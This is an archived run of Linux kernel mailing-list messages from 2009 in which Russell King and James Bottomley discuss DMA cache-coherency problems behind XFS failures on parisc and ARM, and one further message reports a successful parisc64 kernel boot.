Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 21:00:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml5vy-0001aP-Pi
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 21:00:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584AbZIHTAo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 15:00:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751666AbZIHTAo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 15:00:44 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:57046 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751584AbZIHTAo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 15:00:44 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=e1JG2SJFd6GIxnHLZQN+7Lum3Fx0geAjtpVoc9a8X10=; b=HCami
	pzF+AmzdCuzvk4N+TvD4JjLkkhQhlyRD0mmL4FzjQsUa0EGtoPVX3hjkfqa3z1Lh
	QWlYVu9XFI9pCc5JhkrN9US34q5VQ3AWdTw9Lf1o4EucSmCLD0KF9X2lzfdWL6hZ
	HkBvylzidOCLirYKJVqgNs7+Ec1dcbq7QUvAb4=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1Ml5vi-0004RB-4v; Tue, 08 Sep 2009 20:00:38 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1Ml5vd-0002mX-9n; Tue, 08 Sep 2009 20:00:33 +0100
Mail-Followup-To: James Bottomley <James.Bottomley@suse.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252434469.13003.3.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2114 gmane.linux.file-systems:35108 gmane.linux.kernel.cross-arch:4348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2114>

On Tue, Sep 08, 2009 at 01:27:49PM -0500, James Bottomley wrote:
> This bug was observed on parisc, but I would expect it to affect all
> architectures with virtually indexed caches.

I don't think your proposed solution will work for ARM with speculative
prefetching (iow, the latest ARM CPUs.)  If there is a mapping present,
it can be speculatively prefetched from at any time - the CPU designers
have placed no bounds on the amount of speculative prefetching which
may be present in a design.

What this means that for DMA, we will need to handle cache coherency
issues both before and after DMA.

If we're going to allow non-direct mapped (offset mapped in your parlence)
block IO, it makes it impossible to handle cache coherency after DMA
completion - although we can translate (via page table walks) from a
virtual address to a physical, and then to a bus address for DMA, going
back the other way is impossible since there could be many right answers.

What has been annoying me for a while about the current DMA API is that
drivers have to carry around all sorts of information for a DMA mapping,
whether the architecture needs it or not - and sometimes that information
is not what the architecture wants.  To this end, I've been thinking that
something more like:

	struct dma_mapping map;

	err = dma2_map_single(&map, buffer, size, direction);
	if (err)
		...

	addr = dma2_addr(&map);
	/* program controller */

	/* completion */
	dma2_unmap_single(&map);

with similar style interfaces for pages and so forth (scatterlists are
already arch-defined.)  Architectures define the contents of
struct dma_mapping - but it must contain at least the dma address.

What's the advantage of this?  It means that if an architecture needs to
handle cache issues after DMA on unmap via a virtual address, it can
ensure that the correct address is passed through all the way to the
unmap function.  This approach also relieves the driver writer from
having to carry around the direction, size and dma address themselves,
which means we don't need the DMA debug infrastructure to check that
drivers are doing these things correctly.

I seriously doubt, though, that we can revise the DMA API...

In your (and my) case, maybe struct scatterlist also needs to contain
the virtual address as well as the struct page, offset and length?


PS, ARM already does not allow anything but direct-mapped RAM addresses
for dma_map_single(), since we need to be able to translate virtual
addresses to physical for non-coherent L2 cache handling - L1 cache
needs handling via the virtual address and L2 via the physical address.


PPS, you're not the only architecture which has problems with XFS.  ARM
has a long standing issue with it too.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
 caused by I/O to vmalloc/vmap areas
Date: Tue, 08 Sep 2009 19:11:52 +0000
Lines: 83
Approved: news@gmane.org
Message-ID: <1252437112.13003.39.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252437130 21417 80.91.229.12 (8 Sep 2009 19:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 19:12:10 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Sep 08 21:12:03 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml66k-0004wJ-Cb
	for glka-linux-arch@lo.gmane.org; Tue, 08 Sep 2009 21:12:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751520AbZIHTL5 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 8 Sep 2009 15:11:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751302AbZIHTL5
	(ORCPT <rfc822;linux-arch-outgoing>); Tue, 8 Sep 2009 15:11:57 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:39701 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751162AbZIHTL4 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 8 Sep 2009 15:11:56 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 5145474862;
	Tue,  8 Sep 2009 21:11:58 +0200 (CEST)
In-Reply-To: <20090908190031.GF6538@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4349 gmane.linux.ports.parisc:2115 gmane.linux.file-systems:35109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2115>

On Tue, 2009-09-08 at 20:00 +0100, Russell King wrote:
> On Tue, Sep 08, 2009 at 01:27:49PM -0500, James Bottomley wrote:
> > This bug was observed on parisc, but I would expect it to affect all
> > architectures with virtually indexed caches.
> 
> I don't think your proposed solution will work for ARM with speculative
> prefetching (iow, the latest ARM CPUs.)  If there is a mapping present,
> it can be speculatively prefetched from at any time - the CPU designers
> have placed no bounds on the amount of speculative prefetching which
> may be present in a design.

The architecturally prescribed fix for this on parisc is to purge the
TLB entry as well.  Without a TLB entry, the CPU is forbidden from doing
speculative reads.  This obviously works only as long as the kernel
never touches the page during DMA, of course ...

Isn't this also true for arm?

> What this means that for DMA, we will need to handle cache coherency
> issues both before and after DMA.
> 
> If we're going to allow non-direct mapped (offset mapped in your parlence)
> block IO, it makes it impossible to handle cache coherency after DMA
> completion - although we can translate (via page table walks) from a
> virtual address to a physical, and then to a bus address for DMA, going
> back the other way is impossible since there could be many right answers.
> 
> What has been annoying me for a while about the current DMA API is that
> drivers have to carry around all sorts of information for a DMA mapping,
> whether the architecture needs it or not - and sometimes that information
> is not what the architecture wants.  To this end, I've been thinking that
> something more like:
> 
> 	struct dma_mapping map;
> 
> 	err = dma2_map_single(&map, buffer, size, direction);
> 	if (err)
> 		...
> 
> 	addr = dma2_addr(&map);
> 	/* program controller */
> 
> 	/* completion */
> 	dma2_unmap_single(&map);
> 
> with similar style interfaces for pages and so forth (scatterlists are
> already arch-defined.)  Architectures define the contents of
> struct dma_mapping - but it must contain at least the dma address.
> 
> What's the advantage of this?  It means that if an architecture needs to
> handle cache issues after DMA on unmap via a virtual address, it can
> ensure that the correct address is passed through all the way to the
> unmap function.  This approach also relieves the driver writer from
> having to carry around the direction, size and dma address themselves,
> which means we don't need the DMA debug infrastructure to check that
> drivers are doing these things correctly.
> 
> I seriously doubt, though, that we can revise the DMA API...

Actually, there's a more fundamental problem.  I did think of doing it
this way initially.  However, most of the dma_map..() cases come down
from block and have already lost all idea of what the virtual address
was and where it came from ... so there's an awful lot more work to do
to make them carry it through to dma_map...()

> In your (and my) case, maybe struct scatterlist also needs to contain
> the virtual address as well as the struct page, offset and length?
> 
> 
> PS, ARM already does not allow anything but direct-mapped RAM addresses
> for dma_map_single(), since we need to be able to translate virtual
> addresses to physical for non-coherent L2 cache handling - L1 cache
> needs handling via the virtual address and L2 via the physical address.
> 
> 
> PPS, you're not the only architecture which has problems with XFS.  ARM
> has a long standing issue with it too.

Well, the good news is that I can fix it to work on parisc.

James



From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
	caused by I/O to vmalloc/vmap areas
Date: Tue, 8 Sep 2009 21:16:19 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20090908201619.GG6538@flint.arm.linux.org.uk>
References: <1252434469.13003.3.camel@mulgrave.site> <20090908190031.GF6538@flint.arm.linux.org.uk> <1252437112.13003.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252441032 7962 80.91.229.12 (8 Sep 2009 20:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 20:17:12 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 22:17:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml77f-0007hM-Ic
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 22:17:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751822AbZIHUQg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 16:16:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752093AbZIHUQg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 16:16:36 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:46335 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751725AbZIHUQe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 16:16:34 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=W8sarl/MFe8NSHvDhTvfUAJ7eeZejH94TOrbF8WS/ng=; b=RWec3
	GLF0tCWt0TlS1XatQnlnOyUYSX1t6e+Iy7izG35159WDN0hQXQ29HvD1Wr6jdLDs
	AiKMQ+JRSzL1CDKtEnpfuXknU3uoOv4GAaY/RQPcBRQEvIpSB4HxXXs4r0SB7REm
	dSx/StBs+imsPnGpTrLBD2/Ck1My5whvKwxuCY=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1Ml776-0004ZQ-BS; Tue, 08 Sep 2009 21:16:29 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1Ml770-0005l9-My; Tue, 08 Sep 2009 21:16:22 +0100
Mail-Followup-To: James Bottomley <James.Bottomley@suse.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252437112.13003.39.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2116 gmane.linux.file-systems:35111 gmane.linux.kernel.cross-arch:4350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2116>

On Tue, Sep 08, 2009 at 07:11:52PM +0000, James Bottomley wrote:
> On Tue, 2009-09-08 at 20:00 +0100, Russell King wrote:
> > On Tue, Sep 08, 2009 at 01:27:49PM -0500, James Bottomley wrote:
> > > This bug was observed on parisc, but I would expect it to affect all
> > > architectures with virtually indexed caches.
> > 
> > I don't think your proposed solution will work for ARM with speculative
> > prefetching (iow, the latest ARM CPUs.)  If there is a mapping present,
> > it can be speculatively prefetched from at any time - the CPU designers
> > have placed no bounds on the amount of speculative prefetching which
> > may be present in a design.
> 
> The architecturally prescribed fix for this on parisc is to purge the
> TLB entry as well.  Without a TLB entry, the CPU is forbidden from doing
> speculative reads.  This obviously works only as long as the kernel
> never touches the page during DMA, of course ...
> 
> Isn't this also true for arm?

There appears to be nothing architected along those lines for ARM.
>From the architectural point of view, any "normal memory" mapping is
a candidate for speculative accesses provided access is permitted via
the page permissions.

In other words, if the CPU is permitted to access a memory page, it
is a candidate for speculative accesses.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
 caused by I/O to vmalloc/vmap areas
Date: Tue, 08 Sep 2009 20:39:12 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <1252442352.13003.132.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252442391 12580 80.91.229.12 (8 Sep 2009 20:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 20:39:51 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 22:39:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml7Ta-0006co-RM
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 22:39:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752255AbZIHUjU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 16:39:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752228AbZIHUjU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 16:39:20 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:42087 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751542AbZIHUjT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 16:39:19 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 0E73C74862;
	Tue,  8 Sep 2009 22:39:20 +0200 (CEST)
In-Reply-To: <20090908201619.GG6538@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2117 gmane.linux.file-systems:35113 gmane.linux.kernel.cross-arch:4351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2117>

On Tue, 2009-09-08 at 21:16 +0100, Russell King wrote:
> On Tue, Sep 08, 2009 at 07:11:52PM +0000, James Bottomley wrote:
> > On Tue, 2009-09-08 at 20:00 +0100, Russell King wrote:
> > > On Tue, Sep 08, 2009 at 01:27:49PM -0500, James Bottomley wrote:
> > > > This bug was observed on parisc, but I would expect it to affect all
> > > > architectures with virtually indexed caches.
> > > 
> > > I don't think your proposed solution will work for ARM with speculative
> > > prefetching (iow, the latest ARM CPUs.)  If there is a mapping present,
> > > it can be speculatively prefetched from at any time - the CPU designers
> > > have placed no bounds on the amount of speculative prefetching which
> > > may be present in a design.
> > 
> > The architecturally prescribed fix for this on parisc is to purge the
> > TLB entry as well.  Without a TLB entry, the CPU is forbidden from doing
> > speculative reads.  This obviously works only as long as the kernel
> > never touches the page during DMA, of course ...
> > 
> > Isn't this also true for arm?
> 
> There appears to be nothing architected along those lines for ARM.
> From the architectural point of view, any "normal memory" mapping is
> a candidate for speculative accesses provided access is permitted via
> the page permissions.
> 
> In other words, if the CPU is permitted to access a memory page, it
> is a candidate for speculative accesses.

So the parisc architectural feature is simply a statement of fact for VI
cache architectures: if you don't have a TLB entry for a page, you can't
do cache operations for it.  We have a software TLB interrupt and the
CPU can't interrupt for a speculation, so it's restricted to the
existing TLB entries in its cache for speculative move ins.

So now we know what the problem is, if arm can't operate this way,
what's your suggestion for fixing this ... I take it you have a DMA
coherence index like we do that flushes the cache on DMA ops?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Booting 64-bit SMP 2.6.31-rc5 on a 2-way pa8700 box.
Date: Tue, 8 Sep 2009 17:35:54 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <119aab440909081435o18dd0187p31855255d98abdd8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252445776 23509 80.91.229.12 (8 Sep 2009 21:36:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 21:36:16 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 23:36:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml8MC-0007MD-5O
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 23:36:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750910AbZIHVgD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 17:36:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751284AbZIHVgD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 17:36:03 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:53983 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750910AbZIHVgC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 17:36:02 -0400
Original-Received: by bwz19 with SMTP id 19so27565bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 08 Sep 2009 14:36:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=0aWN+gJS/kmBD39ZpbzHIHo2hhSLS+HZq/huKOQ7AUo=;
        b=nutCq4WBun0DVU3c/DzjfpMC9/qOGGeSgZQwQo/f6ksSUze1HpHOJDxw57tz470mHP
         YKd8apUOiK0mfAb0LVYEyVsnMAA1jzwz9t+8OfPR22xp8910HTVMmCSbZIXHU/buNFGi
         20aEpGJVz3ZmHZDnkZhCmcDtw2eVpNmketdBQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=doClw/p5HMZWSD9Q6xgypi6wSvHZ2JKpHkbAVA9jqT0TaQ3pN92pcWNHBUC1Khb4cp
         YjK89IsZClOiPd13LR602daXoblPnxUGiFEmPl/eOtnyyruHVOP7nX0RmWrt1KezRK7g
         ThlsaWNpu+C7LhVaOsS1HC5ePzBB7FC0fo7WA=
Original-Received: by 10.204.160.90 with SMTP id m26mr13705468bkx.63.1252445761556; 
	Tue, 08 Sep 2009 14:36:01 -0700 (PDT)
X-Google-Sender-Auth: 350d91b288bdb24e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2118>

It works. Thank you :-)

carlos@firin:~$ uname -a
Linux firin 2.6.31-rc5 #2 SMP Tue Sep 8 13:44:35 EDT 2009 parisc64 GNU/Linux
carlos@firin:~$

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: xfs failure on parisc (and presumably other VI cache systems)
	caused by I/O to vmalloc/vmap areas
Date: Tue, 8 Sep 2009 22:39:10 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20090908213910.GH6538@flint.arm.linux.org.uk>
References: <1252434469.13003.3.camel@mulgrave.site> <20090908190031.GF6538@flint.arm.linux.org.uk> <1252437112.13003.39.camel@mulgrave.site> <20090908201619.GG6538@flint.arm.linux.org.uk> <1252442352.13003.132.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252445973 24015 80.91.229.12 (8 Sep 2009 21:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Sep 2009 21:39:33 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 08 23:39:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ml8PM-0008Ex-6P
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Sep 2009 23:39:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751662AbZIHVjT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 17:39:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751926AbZIHVjT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 17:39:19 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:34492 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751662AbZIHVjT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 17:39:19 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; h=Date:From:To:Cc:Subject:
	Message-ID:References:MIME-Version:Content-Type:In-Reply-To:
	Sender; bh=JTB0vl2LecBejpgtR3SssCMSeXGDtcu9QjAa6lKmZ6w=; b=PirRZ
	6TtTNjCsFfB8UZ/akT8aO+X0tnJtRCPaKtFjDgxXJHBDfvityk43L6FO5KITvgvp
	D8DwzOUcqR61mbTIYRknRfaz9XvWUQiX85BDEGBc/sCjCyR6mXMh71pDxd8ertgQ
	5IWTETDoF//nuHOlIRYZoH7ZBXh0fctaxWXY6U=
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1Ml8PD-0004g2-Rd; Tue, 08 Sep 2009 22:39:16 +0100
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.69)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1Ml8PA-0000Ww-CB; Tue, 08 Sep 2009 22:39:12 +0100
Mail-Followup-To: James Bottomley <James.Bottomley@suse.de>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252442352.13003.132.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
